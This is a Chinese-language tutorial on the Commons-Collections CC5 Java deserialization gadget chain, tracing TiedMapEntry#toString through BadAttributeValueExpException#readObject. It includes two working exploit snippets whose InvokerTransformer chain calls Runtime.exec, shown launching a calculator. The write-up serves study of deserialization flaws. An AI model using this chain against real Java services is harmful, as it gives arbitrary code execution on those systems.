Java反序列化Commons-Collections——CC5

0x01 前言

环境配置:

0x02 CC5分析

CC5其实和CC6的后半条链是相同的,都是利用了TiedMapEntry#getValue方法,不同的是CC5用了TiedMapEntry#toString方法,这里直接通过toString方法来写一下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void exp1() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap map = new HashMap();
Map decoratedMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap, "key");
tiedMapEntry.toString();
}

image-20250516114202333

然后对toString直接findUsages:

image-20250516113648373

可以看到,这个readObject()方法想要走到toString()还需要满足一些条件。

然后看BadAttributeValueExpException的构造方法:

image-20250516131008479

如果传入的对象不为空,那么就将传入对象的val.toString()赋值给BadAttributeValueExpException.val,而这与在构造反序列化BadAttributeValueExpException#readObject需要满足的条件相背,因为如果valObj instanceof String则走不到后续的val = valObj.toString(),所以,这里需要通过反射的方式,在实例化BadAttributeValueExpException再给BadAttributeValueExpException.val赋值,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void exp1() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap map = new HashMap();
Map decoratedMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap, 1);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setField(badAttributeValueExpException, "val", tiedMapEntry);
serialize(badAttributeValueExpException);
deserialize("ser.bin");
}

image-20250516131604761

成功弹出计算器。

0x03 总结

CC5应该是在过完前面几条链后,感觉比较轻松的,前面利用了CC6的后半条链,而前半条链也只通过一个反射就可以构造成功。